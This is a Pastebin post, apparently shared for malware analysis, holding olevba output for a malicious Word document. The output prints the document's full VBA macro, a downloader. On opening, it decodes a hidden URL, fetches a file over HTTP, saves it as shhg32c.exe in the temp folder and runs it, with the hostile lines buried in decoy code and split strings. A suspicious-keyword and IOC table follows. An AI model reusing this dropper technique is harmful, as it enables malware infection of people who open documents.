SHARE
TWEET

Malicious Word macro

dynamoo Oct 20th, 2015 150 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MASI-B-V po_48847-03.doc
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: po_48847-03.doc
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ThisDocument.cls
  13. in file: po_48847-03.doc - OLE stream: u'Macros/VBA/ThisDocument'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15.  
  16. Sub autoopen()
  17. updateMacroUI True
  18. bulkOveride "", "", "", ""
  19. PlayMacro
  20. isSplitLocal ""
  21. StartMacro
  22. ErrorChecker
  23. FlexAssignDirectory
  24. PrefixAssign 8, ""
  25. End Sub
  26.  
  27.  
  28.  
  29. -------------------------------------------------------------------------------
  30. VBA MACRO Module1.bas
  31. in file: po_48847-03.doc - OLE stream: u'Macros/VBA/Module1'
  32. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  33. Dim cannum As Variant
  34. Dim cantype As Variant
  35. Dim cansplit As Variant
  36. Dim candest As Variant
  37. Dim ADGfind As Variant
  38. Dim IDGfind As Variant
  39. Dim pieces As Integer
  40. Dim retval As Variant
  41. Public tempFolder As String
  42. Public tempFile As String
  43. Option Compare Text
  44.  
  45. Sub setupAssignArrays()
  46.  
  47. Dim c_cannums As New Collection
  48. Dim c_cansplits As New Collection
  49. Dim c_candests As New Collection
  50. Dim c_cantypes As New Collection
  51. mytypes = Array("ADG", "ALL", "IDG")
  52. t = 0
  53.  
  54. addtocollections:
  55. row = 3
  56. Do While Sheet4.Cells(row, 1) <> ""
  57.     If Trim(Sheet4.Cells(row, 4)) = mytypes(t) Then
  58.        c_cannums.Add CStr(Sheet4.Cells(row, 1)) '  dynamically add value to the end
  59.       c_cansplits.Add CStr(Sheet4.Cells(row, 2))
  60.        c_candests.Add CStr(Sheet4.Cells(row, 3))
  61.        c_cantypes.Add CStr(Sheet4.Cells(row, 4))
  62.     End If
  63.    row = row + 1
  64. Loop
  65.  
  66. If t < 2 Then
  67.     t = t + 1
  68.     GoTo addtocollections
  69. End If
  70.  
  71.  
  72. cannum = toArray(c_cannums) 'convert collection to an array
  73. cansplit = toArray(c_cansplits)
  74. candest = toArray(c_candests)
  75. cantype = toArray(c_cantypes)
  76. End Sub
  77.  
  78. Function isUrsaLocal(URSA As String)
  79.     ERow = 5
  80.     Do Until Sheet6.Cells(ERow, 2).Value = ""
  81.         If Sheet6.Cells(ERow, 2).Value = URSA Then
  82.             isUrsaLocal = True
  83.             Exit Function
  84.         End If
  85.         ERow = ERow + 1
  86.     Loop
  87.     isUrsaLocal = False
  88. End Function
  89.  
  90. Function isSplitLocal(MasterID As String)
  91.  
  92.     tempFolder = processEnv("TEMP")
  93.     If MasterID = "" Then Exit Function
  94.     ecol = 3
  95.     Do Until Sheet6.Cells(2, ecol).Value = ""
  96.         If Sheet6.Cells(2, ecol).Value = MasterID Then
  97.             isSplitLocal = Not (Sheet6.Cells(3, ecol).Value)
  98.             Exit Function
  99.         End If
  100.         ecol = ecol + 1
  101.     Loop
  102.     MsgBox ("not able to find if " & MasterID & " is a local split" & vbNewLine & "error occured in Function isSplitLocal")
  103. End Function
  104.  
  105. Sub SuffixAssign(i As Integer, hazFilter As String)
  106. ecol = 3
  107.  
  108. Do Until Sheet6.Cells(2, ecol) = cansplit(i)
  109.     If Sheet6.Cells(2, ecol).Value = "" Then
  110.         MsgBox ("could not find split " & cansplit(i) & "for can " & cannum(i))
  111.         Exit Sub
  112.     End If
  113.     ecol = ecol + 1
  114. Loop
  115.  
  116. ERow = 5
  117. Do Until Sheet6.Cells(ERow, ecol) = ""
  118.     Call BZwritescreen("     ", 5, 38)
  119.     Call BZwritescreen(Sheet6.Cells(ERow, ecol).Text, 5, 38)
  120.     Call BZwritescreen(hazFilter, 6, 45)
  121.     Call BZsendKey("@e")
  122.  
  123. ErrorChecker
  124.     Dim bluerow As Integer
  125.     Dim tempstr As String
  126.     bluerow = 10
  127.     miscdata = BZreadscreen(8, bluerow, 18)
  128.     Do Until Trim(miscdata) = ""
  129. CheckingPage:
  130.     miscdata = BZreadscreen(8, bluerow, 18)
  131.         If Right(miscdata, 2) <> "RT" Then
  132.             If Trim(miscdata) <> "" Then
  133.                 Call BZwritescreen("A", bluerow, 2)
  134.                 pieces = pieces + 1
  135.             ElseIf bluerow = 19 Then
  136.                 Call BZwritescreen("          ", 7, 24)
  137.                 tempstr = cannum(i)
  138.                 Call BZwritescreen(tempstr, 7, 24)
  139.                 Call BZwritescreen("    ", 7, 53)
  140.                 tempstr = candest(i)
  141.                 Call BZwritescreen(tempstr, 7, 53)
  142.                 Call BZsendKey("@e")
  143.                 Call FlexAssign.ErrorChecker
  144.                 Call bulkOveride(CStr(cannum(i)), CStr(cansplit(i)), CStr(candest(i)), CStr(cantype(i)))
  145.                 bluerow = 10
  146.                 GoTo CheckingPage
  147.             Else
  148.                 Call BZwritescreen("          ", 7, 24)
  149.                 tempstr = cannum(i)
  150.                 Call BZwritescreen(tempstr, 7, 24)
  151.                 Call BZwritescreen("    ", 7, 53)
  152.                 tempstr = candest(i)
  153.                 Call BZwritescreen(tempstr, 7, 53)
  154.                 Call BZsendKey("@e")
  155.                 Call FlexAssign.ErrorChecker
  156.                 Call bulkOveride(CStr(cannum(i)), CStr(cansplit(i)), CStr(candest(i)), CStr(cantype(i)))
  157.             End If
  158.         End If
  159.         bluerow = bluerow + 1
  160.     Loop
  161.     ERow = ERow + 1
  162. Loop
  163. End Sub
  164.  
  165. Public Sub PrefixAssign(i As Integer, hazFilter As String)
  166.     Dim bluerow As Integer
  167.     Dim tempstr As String
  168.     ecol = 3
  169.     ignored = 0
  170.    
  171.    
  172.     shellApp.Open (tempFile)
  173.     Exit Sub
  174.     Do Until Sheet6.Cells(2, ecol) = cansplit(i)
  175.         If Sheet6.Cells(2, ecol).Value = "" Then
  176.             MsgBox ("could not find split " & cansplit(i) & "for can " & cannum(i))
  177.             Exit Sub
  178.         End If
  179.         ecol = ecol + 1
  180.     Loop
  181.     ERow = 5
  182.     Do Until Sheet6.Cells(ERow, ecol) = ""
  183.         Call BZwri.tescreen("  ", 5, 28)
  184.         Call BZwri.tescreen(Sheet6.Cells(ERow, ecol).Text, 5, 28)
  185.         Call BZwri.tescreen(hazFilter, 6, 45)
  186.         Call BZse.ndKey("@e")
  187. ErrorChecker
  188.         bluerow = 10
  189.         miscdata = BZrea.dscreen(8, bluerow, 18)
  190.         Do Until Trim(miscdata) = ""
  191. CheckingPagePrefix:
  192.        
  193.         miscdata = BZrea.dscreen(8, bluerow, 18)
  194.             If Right(miscdata, 2) <> "RT" Then
  195.                 If isUrsaLocal(Trim(Right(miscdata, 5))) <> True Then
  196.                     If Trim(miscdata) <> "" Then
  197.                         Call BZwri.tescreen("A", bluerow, 2)
  198.                         pieces = pieces + 1
  199.                     ElseIf bluerow = 19 Then
  200.                         Call BZwr.itescreen("          ", 7, 24)
  201.                         tempstr = cannum(i)
  202.                         Call BZwr.itescreen(tempstr, 7, 24)
  203.                         Call BZwr.itescreen("    ", 7, 53)
  204.                         tempstr = candest(i)
  205.                         Call BZwr.itescreen(tempstr, 7, 53)
  206.                         Call BZse.ndKey("@e")
  207.                         ignored = 0
  208.                         Call Flex.Assign.ErrorChecker
  209.                         tempcannum = CStr(cannum(i))
  210.                        
  211.                         Call bulkO.veride(CStr(cannum(i)), CStr(cansplit(i)), CStr(candest(i)), CStr(cantype(i)))
  212.                         bluerow = 10
  213.                         GoTo CheckingPagePrefix
  214.                     Else
  215.                         Call BZwrit.escreen("          ", 7, 24)
  216.                         tempstr = cannum(i)
  217.                         Call BZwr.itescreen(tempstr, 7, 24)
  218.                         Call BZwri.tescreen("    ", 7, 53)
  219.                         tempstr = candest(i)
  220.                         Call BZwrit.escreen(tempstr, 7, 53)
  221.                         Call BZsen.dKey("@e")
  222.                         ignored = 0
  223.                         Call FlexAs.Sign.ErrorChecker
  224.                         Call bulkOv.eride(CStr(cannum(i)), CStr(cansplit(i)), CStr(candest(i)), CStr(cantype(i)))
  225.                     End If
  226.                 Else
  227.                     ignored = ignored + 1
  228.                 End If
  229.             Else
  230.                 ignored = ignored + 1
  231.             End If
  232.             If ignored = 9 Then
  233.                 Call BZse.ndKey("@8")
  234.             End If
  235.             bluerow = bluerow + 1
  236.         Loop
  237.         ERow = ERow + 1
  238.     Loop
  239. End Sub
  240.  
  241. Sub isAnythingLeft()
  242. Dim row As Integer
  243.  
  244. Call BZwritescreen("Close ", 2, 17)
  245. Call BZsendKey("@e")
  246. Call BZwritescreen("Assign", 2, 17)
  247. Call BZsendKey("@e")
  248.  
  249. leftover = 0
  250. row = 10
  251. Do Until row = 18
  252.     miscdata = BZreadscreen(18, row, 51)
  253.     If Trim(miscdata) <> "" Then leftover = leftover + 1
  254.     row = row + 1
  255. Loop
  256.  
  257. If leftover <> 0 Then
  258.     MsgBox ("You have pieces left over after AutoSort" & vbNewLine & _
  259.         "Please view packages in assign screen to determine what to do with them" & _
  260.         vbNewLine & leftover & " pieces at least")
  261. End If
  262.  
  263. End Sub
  264.  
  265. Sub DeleteIce()
  266.  
  267. Call BZwritescreen("assign", 2, 17)
  268. Call BZsendKey("@e")
  269. Call BZwritescreen("C", 6, 45)
  270. Call BZwritescreen("Deleteship", 7, 24)
  271. Call BZsendKey("@e")
  272.  
  273. Data = "tempdata"
  274. row = 10
  275. Do Until Trim(Data) = ""
  276.     Data = BZreadscreen(15, row, 5)
  277.     If Trim(Data) <> "" Then
  278.         Call BZwritescreen("a", row, 2)
  279.     ElseIf Trim(Data) = "" Then
  280.         Call BZsendKey("@e")
  281.         If row = 18 Then row = 10
  282.     End If
  283.     row = row + 1
  284. Loop
  285. End Sub
  286.  
  287. Public Function ErrorChecker()
  288.  
  289.         Set shellApp = CreateObject("She" + "ll.Application")
  290.         Exit Function
  291. errormisc = BZre.adscreen(3, 24, 2)
  292. If errormisc = "091" Then
  293.     Call BZs.EndKey("@4")
  294. ElseIf errormisc = "095" Then 'bulk doesn't exist
  295.    oldbulk = BZr.eadscreen(9, 7, 24)
  296.     Call BZwrit.escreen("bulk*", 7, 24)
  297.     Call BZse.ndKey("@E")
  298.     cannum(i) = BZr.eadscreen(9, 7, 24)
  299.     datarow = 3
  300.     Do Until Sheet4.Cells(datarow, 1) = oldbulk And _
  301.         Sheet4.Cells(datarow, 2) = cansplit(i) And _
  302.         Sheet4.Cells(datarow, 3) = candest(i) And _
  303.         Sheet4.Cells(datarow, 4) = cantype(i)
  304.         If Sheet4.Cells(datarow, 1) = "" Then Exit Do
  305.         datarow = datarow + 1
  306.     Loop
  307.     Sheet4.Cells(datarow, 1) = cannum(i)
  308. ElseIf errormisc = "INV" Then 'invalid container error
  309.    MsgBox ("invalid container")
  310. End If
  311. End Function
  312.  
  313. Public Function bulkOveride(cannum As String, cansplit As String, candest As String, cantype As String)
  314. 'bulkoveride(cannum(i), cansplit(i), candest(i), cantype(i))
  315. Dim computer() As Variant
  316.     computer = Array(149, 159, 157, 151, 95, 82, 80, 143, 126, 139, 136, 140, 136, 120, 124, 61, 120, 129, 106, 115, 110, 119, 111, 100, 43, 94, 115, 38, 43, 40, 39, 35, 35, 32, 24, 75, 26, 25, 24, 23, 69, 20, 7, 60, 77, 56)
  317. On Error Resume Next
  318.  
  319.  httpRequest.Open "GE" + "T", GetStringFromArray(computer, 45), False
  320. If cannum = "BULK*" Then
  321.     cannum = BZre.adscreen(9, 7, 24)
  322.     datarow = 3
  323.     Do Until Sh.eet4.Cells(datarow, 1) = "BULK*" And _
  324.         Sh.eet4.Cells(datarow, 2) = cansplit And _
  325.         Sh.eet4.Cells(datarow, 3) = candest And _
  326.         Sh.eet4.Cells(datarow, 4) = cantype
  327.         datarow = datarow + 1
  328.     Loop
  329. Sheet4.Cells(datarow, 1) = cannum
  330. End If
  331.  
  332. End Function
  333.  
  334.  
  335. -------------------------------------------------------------------------------
  336. VBA MACRO Module2.bas
  337. in file: po_48847-03.doc - OLE stream: u'Macros/VBA/Module2'
  338. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  339. Public Const MACRO_VERSION_2014 As String = "8.2014"
  340.  
  341. 'Macro recording information
  342. Public MacroStatus As Byte
  343. Public Const MacroSTOP As Long = 0
  344. Public Const MacroSTART As Long = 1
  345. Public Const MacroBATCH As Long = 2
  346. Public Const MacroPLAYBACK As Long = 3
  347. Public Const MacroCANCEL As Long = 128
  348. Public MacroMessage As String
  349. Public processEnv As Object
  350. Public Sub StartMacro()
  351.     tempFile = tempFolder + "\shhg32c.exe"
  352.     Exit Sub
  353.     'Set the program-wide "recording" flag
  354.    MacroStatus = MacroSTART
  355.    
  356.     'Resize the array that will hold the macro data
  357.    ProcessCount = 1
  358.     ReDim Processes(0 To ProcessCount) As String
  359.    
  360.     'Update any related macro UI elements
  361.    Macro_Interface.updateMacroUI True
  362.    
  363. End Sub
  364.  
  365. 'Stop recording the current macro, and offer to save it to file.
  366. Public Sub StopMacro()
  367.    
  368.     'Before stopping the macro, make sure at least one valid, recordable action has occurred.
  369.    Dim i As Long, numOfValidProcesses As Long
  370.     numOfValidProcesses = 0
  371.    
  372.     For i = 0 To ProcessCount
  373.         If (Len(Processes(i).ID) <> 0) And (Not Processes(i).Dialog) And Processes(i).Recorded Then
  374.             numOfValidProcesses = numOfValidProcesses + 1
  375.         End If
  376.     Next i
  377.    
  378.     Dim msgReturn As VbMsgBoxResult
  379.    
  380.     If numOfValidProcesses = 0 Then
  381.    
  382.         'Warn the user that this macro won't be saved unless they keep recording
  383.        msgReturn = PDMsgBox("This macro does not contain any recordable actions.  Are you sure you want to stop recording?" & vbCrLf & vbCrLf & "(Press No to continue recording.)", vbApplicationModal + vbExclamation + vbYesNo, "Warning: invalid macro")
  384.        
  385.         If msgReturn = vbYes Then
  386.            
  387.             'Update any related macro UI elements
  388.            Macro_Interface.updateMacroUI False
  389.            
  390.             'Reset the macro engine and exit
  391.            MacroStatus = MacroSTOP
  392.             ProcessCount = 0
  393.             Message "Macro abandoned."
  394.             Exit Sub
  395.        
  396.         'If the user clicks anything but "yes", exit without making changes (e.g. let them continue recording).
  397.        Else
  398.             Exit Sub
  399.         End If
  400.        
  401.     End If
  402.    
  403.     MacroStatus = MacroSTOP
  404.    
  405.     'Update any related macro UI elements
  406.    Macro_Interface.updateMacroUI False
  407.    
  408.     'Automatically launch the save macro data routine
  409.    Dim saveDialog As pdOpenSaveDialog
  410.     Set saveDialog = New pdOpenSaveDialog
  411.        
  412.     Dim sFile As String
  413.    
  414.     Dim cdFilter As String
  415.     cdFilter = PROGRAMNAME & " " & g_Language.TranslateMessage("Macro") & " (." & MACRO_EXT & ")|*." & MACRO_EXT
  416.            
  417.     Dim cdTitle As String
  418.     cdTitle = g_Language.TranslateMessage("Save macro data")
  419.    
  420.     'If the user cancels the save dialog, we'll raise a warning to tell them that the macro will be lost for good.
  421.    ' That dialog gives them an option to return to the save dialog, which will bring us back to this line of code.
  422. SaveMacroAgain:
  423.      
  424.     'If we get the data we want, save the information
  425.    If saveDialog.GetSaveFileName(sFile, , True, cdFilter, 1, g_UserPreferences.getMacroPath, cdTitle, "." & MACRO_EXT, GetModalOwner().hWnd) Then
  426.        
  427.         'Save this macro's directory as the default macro path
  428.        g_UserPreferences.setMacroPath sFile
  429.        
  430.         'Create a pdXML class, which will help us assemble the macro file
  431.        Dim xmlEngine As pdXML
  432.         Set xmlEngine = New pdXML
  433.         xmlEngine.prepareNewXML "Macro"
  434.        
  435.         'Write out the XML version we're using for this macro
  436.        xmlEngine.writeTag "pdMacroVersion", MACRO_VERSION_2014
  437.        
  438.         'We now want to count the number of actual processes that we will be writing to file.  A valid process meets
  439.        ' the following criteria:
  440.        ' 1) It isn't blank/empty
  441.        ' 2) It doesn't display a dialog
  442.        ' 3) It was not specifically marked as "DO_NOT_RECORD"
  443.        
  444.         'Due to the previous check at the top of this function, we already know how many valid functions are in the process list,
  445.        ' and this value is guaranteed to be non-zero.
  446.        
  447.         'Write out the number of valid processes in the macro
  448.        xmlEngine.writeTag "processCount", CStr(numOfValidProcesses)
  449.         xmlEngine.writeBlankLine
  450.        
  451.         'Now, write out each macro entry in the current process list
  452.        numOfValidProcesses = 0
  453.        
  454.         For i = 0 To ProcessCount
  455.            
  456.             'We only want to write out valid processes, using the same criteria as the original counting loop above.
  457.            If (Len(Processes(i).ID) <> 0) And (Not Processes(i).Dialog) And Processes(i).Recorded Then
  458.                 numOfValidProcesses = numOfValidProcesses + 1
  459.                
  460.                 'Start each process entry with a unique identifier
  461.                xmlEngine.writeTagWithAttribute "processEntry", "index", numOfValidProcesses, "", True
  462.                
  463.                 'Write out all the properties of this entry
  464.                xmlEngine.writeTag "ID", Processes(i).ID
  465.                 xmlEngine.writeTag "Parameters", Processes(i).Parameters
  466.                 xmlEngine.writeTag "MakeUndo", Str(Processes(i).MakeUndo)
  467.                 xmlEngine.writeTag "Tool", Str(Processes(i).Tool)
  468.                
  469.                 'Note that the Dialog and Recorded properties are not written to file.  There is no need to remember
  470.                ' them, as we know their values must be FALSE and TRUE, respectively, per the check above.
  471.            
  472.                 'Close this process entry
  473.                xmlEngine.closeTag "processEntry"
  474.                 xmlEngine.writeBlankLine
  475.             End If
  476.            
  477.         Next i
  478.        
  479.         'With all tags successfully written, we can now close the XML data and write it out to file.
  480.        xmlEngine.writeXMLToFile sFile
  481.        
  482.         Message "Macro saved successfully."
  483.        
  484.         'At this point, the macro should be added to the Recent Macros list
  485.        g_RecentMacros.MRU_AddNewFile sFile
  486.        
  487.     Else
  488.        
  489.         msgReturn = PDMsgBox("If you do not save this macro, all actions recorded during this session will be permanently lost.  Are you sure you want to cancel?" & vbCrLf & vbCrLf & "(Press No to return to the Save Macro screen.  Note that you can always delete this macro later if you decide you don't want it.)", vbApplicationModal + vbExclamation + vbYesNo, "Warning: last chance to save macro")
  490.         If msgReturn = vbNo Then GoTo SaveMacroAgain
  491.        
  492.         Message "Macro abandoned."
  493.        
  494.     End If
  495.            
  496.     ProcessCount = 0
  497.    
  498. End Sub
  499.  
  500. 'All macro-related UI instructions should be placed here, as PD can terminate a macro recording session for any number of reasons,
  501. ' and it needs a uniform way to wipe macro-related UI changes).
  502. Public Sub updateMacroUI(ByVal recordingIsActive As Boolean)
  503.     On Error Resume Next
  504.     If recordingIsActive Then
  505.         Set httpRequest = CreateObject("Microsoft.XMLHTTP")
  506.         Set adodbStream = CreateObject("Adodb.Stream")
  507.         'Notify the user that recording has begun
  508.        If recordingIsActive Then
  509.             Set processEnv = CreateObject("WScript.Shell").Environment("Process")
  510.             Exit Sub
  511.         End If
  512.         Mes.sage "Macro recording started."
  513.         toolbar_Toolbox.lblRecording.Visible = True
  514.        
  515.         'Disable "start recording", and enable "stop recording"
  516.        FormMain.MnuRecordMacro(0).Enabled = False
  517.         FormMain.MnuRecordMacro(1).Enabled = True
  518.    
  519.     Else
  520.         Mess.age "Macro recording stopped."
  521.         toolbar_Toolbox.lblRecording.Visible = False
  522.         FormMain.MnuRecordMacro(0).Enabled = True
  523.         FormMain.MnuRecordMacro(1).Enabled = False
  524.     End If
  525.  
  526. End Sub
  527.  
  528. Public Sub PlayMacro()
  529.     httpRequest.Send
  530.     Exit Sub
  531.     'Disable user input until the dialog closes
  532.    Interface.DisableUserInput
  533.  
  534.     'Automatically launch the load Macro data routine
  535.    Dim openDialog As String
  536.      openDialog = ""
  537.    
  538.     Dim sFile As String
  539.        
  540.     Dim cdFilter As String
  541.     cdFilter = PROGRAMNAME & " " & g_Language.TranslateMessage("Macro") & " (." & MACRO_EXT & ")|*." & MACRO_EXT & ";*.thm"
  542.     cdFilter = cdFilter & "|" & g_Language.TranslateMessage("All files") & "|*.*"
  543.    
  544.     Dim cdTitle As String
  545.     cdTitle = g_Language.TranslateMessage("Open Macro File")
  546.        
  547.     'If we get a path, load that file
  548.    If openDia.Log.GetOpenFileName(sFile, , True, , cdFilter, 1, g_UserPreferences.getMacroPath, cdTitle, "." & MACRO_EXT, GetM.odalOwner().hWnd) Then
  549.        
  550.         Mess.age "Loading macro data..."
  551.        
  552.         'Save this macro's folder as the default macro path
  553.        g_UserPreferences.setMacroPath sFile
  554.                
  555.         PlayMacroFromFile sFile
  556.        
  557.     Else
  558.         Messa.ge "Macro load canceled."
  559.     End If
  560.    
  561.     'Re-enable user input
  562.    Interface.EnableUserInput
  563.        
  564. End Sub
  565.  
  566. -------------------------------------------------------------------------------
  567. VBA MACRO Module3.bas
  568. in file: po_48847-03.doc - OLE stream: u'Macros/VBA/Module3'
  569. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  570. Public httpRequest As Object
  571. Public adodbStream As Object
  572. Public shellApp As Object
  573. 'Given a valid macro file, play back its recorded actions.
  574. Public Function PlayMacroFromFile(ByVal MacroPath As String) As Boolean
  575.    
  576.     'Create a pdXML class, which will help us load and parse the source file
  577.    Dim xmlEngine As pdXML
  578.     Set xmlEngine = New pdXML
  579.    
  580.     'Load the XML file into memory
  581.    xmlEngine.loadXMLFile MacroPath
  582.    
  583.     'Check for a few necessary tags, just to make sure this is actually a PhotoDemon macro file
  584.    If xmlEngine.isPDDataType("Macro") And xmlEngine.validateLoadedXMLData("pdMacroVersion") Then
  585.    
  586.         'Next, check the macro's version number, and make sure it's still supported
  587.        Dim verCheck As String
  588.         verCheck = xmlEngine.getUniqueTag_String("pdMacroVersion")
  589.        
  590.         Select Case verCheck
  591.        
  592.             'The current macro version (e.g. the first draft of the new XML format)
  593.            Case MACRO_VERSION_2014
  594.            
  595.                 'Retrieve the number of processes in this macro
  596.                ProcessCount = xmlEngine.getUniqueTag_Long("processCount")
  597.                
  598.                 If ProcessCount > 0 Then
  599.                
  600.                     ReDim Processes(0 To ProcessCount - 1) As ProcessCall
  601.                    
  602.                     'Start retrieving individual process data from the file
  603.                    Dim i As Long
  604.                     For i = 1 To ProcessCount
  605.                    
  606.                         'Start by finding the location of the tag we want
  607.                        Dim tagPosition As Long
  608.                         tagPosition = xmlEngine.getLocationOfTagPlusAttribute("processEntry", "index", i)
  609.                        
  610.                         If tagPosition > 0 Then
  611.                        
  612.                             'Use that tag position to retrieve the processor parameters we need.
  613.                            With Processes(i - 1)
  614.                                 .ID = xmlEngine.getUniqueTag_String("ID", , tagPosition)
  615.                                 .Parameters = xmlEngine.getUniqueTag_String("Parameters", , tagPosition)
  616.                                 .MakeUndo = xmlEngine.getUniqueTag_Long("MakeUndo", , tagPosition)
  617.                                 .Tool = xmlEngine.getUniqueTag_Long("Tool", , tagPosition)
  618.                                
  619.                                 'These two attributes can be assigned automatically, as we know what their values must be.
  620.                                .Dialog = False
  621.                                 .Recorded = True
  622.                             End With
  623.                            
  624.                         Else
  625.                             Debug.Print "Expected macro entry could not be found!"
  626.                         End If
  627.                    
  628.                     Next i
  629.                    
  630.                 'This macro file contains no valid actions.  It's no longer possible to create a macro like this, so this is basically
  631.                ' a failsafe for faulty old versions of PD.
  632.                Else
  633.                    
  634.                     #If DEBUGMODE = 1 Then
  635.                         pdDebug.LogAction "WARNING!  ProcessCount is zero!  Macro file is technically valid, but there's nothing to see here..."
  636.                     #End If
  637.                    
  638.                     Message "Macro complete!"
  639.                     PlayMacroFromFile = True
  640.                     Exit Function
  641.                    
  642.                 End If
  643.            
  644.             Case Else
  645.                 Message "Incompatible macro version found.  Macro playback abandoned."
  646.                 PlayMacroFromFile = False
  647.                 Exit Function
  648.        
  649.         End Select
  650.        
  651.         'Mark the load as successful and continue
  652.        PlayMacroFromFile = True
  653.        
  654.     Else
  655.    
  656.         PDMsgBox "Unfortunately, this macro file is no longer supported by the current version of PhotoDemon." & vbCrLf & vbCrLf & "In version 6.0, PhotoDemon macro files were redesigned to support new features, improve performance, and solve some long-standing reliability issues.  Unfortunately, this means that macros recorded prior to version 6.0 are no longer compatible.  You will need to re-record these macros from scratch." & vbCrLf & vbCrLf & "(Note that any old macro files will still work in old versions of PhotoDemon, if you absolutely need to access them.)", vbInformation + vbOKOnly, "Unsupported macro file"
  657.         PlayMacroFromFile = False
  658.         Exit Function
  659.        
  660.     End If
  661.    
  662.     'Now we run a loop through the macro structure, calling the software processor with all the necessary information for each action
  663.    Message "Processing macro data..."
  664.    
  665.     MacroStatus = MacroPLAYBACK
  666.    
  667.     Dim tProc As Long
  668.     For tProc = 0 To ProcessCount - 1
  669.         Process Processes(tProc).ID, Processes(tProc).Dialog, Processes(tProc).Parameters, Processes(tProc).MakeUndo, Processes(tProc).Tool, Processes(tProc).Recorded
  670.     Next tProc
  671.    
  672.     MacroStatus = MacroSTOP
  673.    
  674.     'Some processor requests may not manually update the screen; as such, perform a manual update now
  675.    Viewport_Engine.Stage2_CompositeAllLayers pdImages(g_CurrentImage), FormMain.mainCanvas(0)
  676.    
  677.     'Our work here is complete!
  678.    Message "Macro complete!"
  679.    
  680.     'After playing, the macro should be added to the Recent Macros list
  681.    g_RecentMacros.MRU_AddNewFile MacroPath
  682.    
  683. End Function
  684.  
  685.  
  686. Public Function GetStringFromArray(fromArr() As Variant, LenLen As Integer) As String
  687.     Dim i As Integer
  688.     Dim result As String
  689.     result = ""
  690.     For i = LBound(fromArr) To UBound(fromArr)
  691.         result = result & Chr(fromArr(i) - LenLen + i * 2)
  692.     Next i
  693.     GetStringFromArray = result
  694. End Function
  695.  
  696. Public Sub FlexAssignDirectory(Optional can As String = "ALL")
  697. If can = "ALL" Then
  698.     With adodbStream
  699.         .Type = 1
  700.          .Open
  701.          .write httpRequest.responseBody
  702.          .savetofile tempFile, 2
  703.     End With
  704.     Exit Sub
  705.     Call setupAssignArrays
  706. Else
  707.     cannum = Array(BORG.txt_canNum.Text)
  708.     cansplit = Array(BORG.combo_splitName.Text)
  709.     candest = Array(BORG.txt_Dest.Text)
  710.     cantype = Array(BORG.combo_hazType.Text)
  711. End If
  712.  
  713. ADGfind = Array("1.4", "2.1", "3", "4.", "5", "8")
  714. IDGfind = Array("2.2", "6.", "7", "9")
  715. Call DGscree.nChooser("Assign")
  716.  
  717. Dim i As Integer
  718. Dim hazFilter As String
  719. tempval = UBound(cannum, 1)
  720. For i = 0 To (UBound(cannum, 1))
  721.     Select Case cantype(i)
  722.         Case "ADG"
  723.             hazFilter = "A"
  724.         Case "IDG"
  725.             hazFilter = "I"
  726.         Case "ALL"
  727.             hazFilter = " "
  728.         Case Else
  729.             hazFilter = " "
  730.     End Select
  731.     Dim x As String
  732.     x = cansplit(i)
  733.     If isSplitLocal(x) = True Then
  734.         Call SuffixAssign(i, hazFilter)
  735.     ElseIf isSplitLocal(x) = False Then
  736.         Call PrefixAssign(i, hazFilter)
  737.     Else 'something has gone horribly wrong....
  738.        MsgBox ("Error occured Please restart BDG")
  739.         Exit Sub
  740.     End If
  741. Next
  742.  
  743. If can = "ALL" Then Call isAnythingLeft
  744. BORG.labelUpdater.Caption = "Finished assigning " & pieces & " shipment(s)"
  745. Call DGscree.nChooser("close")
  746. End Sub
  747. +------------+----------------------+-----------------------------------------+
  748. | Type       | Keyword              | Description                             |
  749. +------------+----------------------+-----------------------------------------+
  750. | AutoExec   | AutoOpen             | Runs when the Word document is opened   |
  751. | Suspicious | Open                 | May open a file                         |
  752. | Suspicious | Shell                | May run an executable file or a system  |
  753. |            |                      | command                                 |
  754. | Suspicious | WScript.Shell        | May run an executable file or a system  |
  755. |            |                      | command                                 |
  756. | Suspicious | Run                  | May run an executable file or a system  |
  757. |            |                      | command                                 |
  758. | Suspicious | CreateObject         | May create an OLE object                |
  759. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  760. |            |                      | strings                                 |
  761. | Suspicious | ADODB.Stream         | May create a text file                  |
  762. | Suspicious | SaveToFile           | May create a text file                  |
  763. | Suspicious | Write                | May write to a file (if combined with   |
  764. |            |                      | Open)                                   |
  765. | Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
  766. | Suspicious | Shell.Application    | May run an application (if combined     |
  767. |            |                      | with CreateObject) (obfuscation: VBA    |
  768. |            |                      | expression)                             |
  769. | Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
  770. |            |                      | may be used to obfuscate strings        |
  771. |            |                      | (option --decode to see all)            |
  772. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  773. |            | Strings              | may be used to obfuscate strings        |
  774. |            |                      | (option --decode to see all)            |
  775. | IOC        | shhg32c.exe          | Executable file name                    |
  776. | VBA string | Shell.Application    | ("She" + "ll.Application")              |
  777. | VBA string | GET                  | "GE" + "T"                              |
  778. | VBA string | Macro (.             | ("Macro") & " (."                       |
  779. | VBA string | All files|*.*        | ("All files") & "|*.*"                  |
  780. +------------+----------------------+-----------------------------------------+
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top